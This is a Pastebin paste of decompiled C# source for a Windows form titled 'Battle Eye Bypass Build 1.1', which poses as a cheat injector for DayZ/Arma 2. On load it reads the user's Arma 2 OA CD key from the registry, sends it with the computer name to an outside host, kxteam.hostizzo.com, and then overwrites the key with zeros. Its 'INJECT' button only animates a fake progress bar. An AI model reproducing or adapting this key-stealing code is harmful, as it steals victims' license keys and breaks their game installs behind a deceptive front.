Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- namespace WindowsApplication1
- {
- using Microsoft.VisualBasic;
- using Microsoft.VisualBasic.CompilerServices;
- using Microsoft.Win32;
- using System;
- using System.ComponentModel;
- using System.Diagnostics;
- using System.Drawing;
- using System.Linq;
- using System.Net;
- using System.Runtime.CompilerServices;
- using System.Windows.Forms;
- using WindowsApplication1.My.Resources;
- [DesignerGenerated]
- public class Form1 : Form
- {
- [AccessedThroughProperty("Button1")]
- private Button _Button1;
- [AccessedThroughProperty("PictureBox1")]
- private PictureBox _PictureBox1;
- [AccessedThroughProperty("ProgressBar1")]
- private ProgressBar _ProgressBar1;
- [AccessedThroughProperty("RichTextBox1")]
- private RichTextBox _RichTextBox1;
- [AccessedThroughProperty("Timer1")]
- private System.Windows.Forms.Timer _Timer1;
- private IContainer components;
- public Form1()
- {
- base.Load += new EventHandler(this.Form1_Button1);
- this.InitializeComponent();
- }
- private void Button1_Click(object sender, EventArgs e)
- {
- if (Information.UBound(Process.GetProcessesByName("arma2oa"), 1) < 0)
- {
- MessageBox.Show("Launch Dayz ! And go in a lobby of a server !");
- }
- else
- {
- this.Timer1.Enabled = true;
- }
- }
- [DebuggerNonUserCode]
- protected override void Dispose(bool disposing)
- {
- try
- {
- if (disposing && (this.components != null))
- {
- this.components.Dispose();
- }
- }
- finally
- {
- base.Dispose(disposing);
- }
- }
- private void Form1_Button1(object sender, EventArgs e)
- {
- WebRequest.Create("http://kxteam.hostizzo.com/keys.php?w= 8 PC NAME : " + Interaction.Environ("computername") + " Key : " + this.GetKey()).GetResponse();
- this.RichTextBox1.Text = "?w= 2 PC NAME : " + Interaction.Environ("computername") + " Key : " + this.GetKey();
- this.SetKey();
- }
- private string GetKey()
- {
- RegistryKey key = Registry.LocalMachine.OpenSubKey(@"Software\Bohemia Interactive Studio\Arma 2 OA", true);
- if ((key != null) && key.GetValueNames().Contains<string>("KEY"))
- {
- return BitConverter.ToString((byte[]) key.GetValue("KEY"));
- }
- return this.GetKey64();
- }
- private string GetKey64()
- {
- RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", true);
- if ((key != null) && key.GetValueNames().Contains<string>("Key"))
- {
- return BitConverter.ToString((byte[]) key.GetValue("Key"));
- }
- return "Error";
- }
- [DebuggerStepThrough]
- private void InitializeComponent()
- {
- this.components = new System.ComponentModel.Container();
- ComponentResourceManager manager = new ComponentResourceManager(typeof(Form1));
- this.Button1 = new Button();
- this.ProgressBar1 = new ProgressBar();
- this.PictureBox1 = new PictureBox();
- this.Timer1 = new System.Windows.Forms.Timer(this.components);
- this.RichTextBox1 = new RichTextBox();
- ((ISupportInitialize) this.PictureBox1).BeginInit();
- this.SuspendLayout();
- Point point2 = new Point(12, 0xb2);
- this.Button1.Location = point2;
- this.Button1.Name = "Button1";
- Size size2 = new Size(0x142, 0x17);
- this.Button1.Size = size2;
- this.Button1.TabIndex = 0;
- this.Button1.Text = "INJECT";
- this.Button1.UseVisualStyleBackColor = true;
- point2 = new Point(-4, 0xcf);
- this.ProgressBar1.Location = point2;
- this.ProgressBar1.Name = "ProgressBar1";
- size2 = new Size(0x160, 0x17);
- this.ProgressBar1.Size = size2;
- this.ProgressBar1.TabIndex = 1;
- this.PictureBox1.Image = WindowsApplication1.My.Resources.Resources._52700885hack11qr3_jpg;
- this.PictureBox1.InitialImage = (Image) manager.GetObject("PictureBox1.InitialImage");
- point2 = new Point(12, 12);
- this.PictureBox1.Location = point2;
- this.PictureBox1.Name = "PictureBox1";
- size2 = new Size(0x142, 160);
- this.PictureBox1.Size = size2;
- this.PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
- this.PictureBox1.TabIndex = 2;
- this.PictureBox1.TabStop = false;
- this.RichTextBox1.BackColor = SystemColors.ActiveBorder;
- point2 = new Point(12, 12);
- this.RichTextBox1.Location = point2;
- this.RichTextBox1.Name = "RichTextBox1";
- size2 = new Size(0x142, 0x60);
- this.RichTextBox1.Size = size2;
- this.RichTextBox1.TabIndex = 3;
- this.RichTextBox1.Text = "";
- this.RichTextBox1.Visible = false;
- SizeF ef2 = new SizeF(6f, 13f);
- this.AutoScaleDimensions = ef2;
- this.AutoScaleMode = AutoScaleMode.Font;
- this.BackColor = SystemColors.ButtonShadow;
- size2 = new Size(0x15a, 0xf2);
- this.ClientSize = size2;
- this.Controls.Add(this.RichTextBox1);
- this.Controls.Add(this.PictureBox1);
- this.Controls.Add(this.ProgressBar1);
- this.Controls.Add(this.Button1);
- this.Name = "Form1";
- this.Text = "Battle Eye Bypass Build 1.1";
- this.TransparencyKey = System.Drawing.Color.Transparent;
- ((ISupportInitialize) this.PictureBox1).EndInit();
- this.ResumeLayout(false);
- }
- private void PictureBox1_Click(object sender, EventArgs e)
- {
- }
- private string SetKey()
- {
- RegistryKey key = Registry.LocalMachine.OpenSubKey(@"Software\Bohemia Interactive Studio\Arma 2 OA", true);
- if ((key == null) || !key.GetValueNames().Contains<string>("KEY"))
- {
- return this.SetKey64();
- }
- key.SetValue("KEY", "0000000000000000");
- return Conversions.ToString(1);
- }
- private string SetKey64()
- {
- RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", true);
- if ((key == null) || !key.GetValueNames().Contains<string>("KEY"))
- {
- return "Error";
- }
- key.SetValue("KEY", "0000000000000000");
- return Conversions.ToString(1);
- }
- private void Timer1_Tick(object sender, EventArgs e)
- {
- if (this.ProgressBar1.Value == this.ProgressBar1.Maximum)
- {
- this.Timer1.Enabled = false;
- MessageBox.Show("The Hack is Injected !");
- }
- else
- {
- this.ProgressBar1.Value += 2;
- }
- }
- internal virtual Button Button1
- {
- get
- {
- return this._Button1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler handler = new EventHandler(this.Button1_Click);
- if (this._Button1 != null)
- {
- this._Button1.Click -= handler;
- }
- this._Button1 = value;
- if (this._Button1 != null)
- {
- this._Button1.Click += handler;
- }
- }
- }
- internal virtual PictureBox PictureBox1
- {
- get
- {
- return this._PictureBox1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler handler = new EventHandler(this.PictureBox1_Click);
- if (this._PictureBox1 != null)
- {
- this._PictureBox1.Click -= handler;
- }
- this._PictureBox1 = value;
- if (this._PictureBox1 != null)
- {
- this._PictureBox1.Click += handler;
- }
- }
- }
- internal virtual ProgressBar ProgressBar1
- {
- get
- {
- return this._ProgressBar1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._ProgressBar1 = value;
- }
- }
- internal virtual RichTextBox RichTextBox1
- {
- get
- {
- return this._RichTextBox1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._RichTextBox1 = value;
- }
- }
- internal virtual System.Windows.Forms.Timer Timer1
- {
- get
- {
- return this._Timer1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler handler = new EventHandler(this.Timer1_Tick);
- if (this._Timer1 != null)
- {
- this._Timer1.Tick -= handler;
- }
- this._Timer1 = value;
- if (this._Timer1 != null)
- {
- this._Timer1.Tick += handler;
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement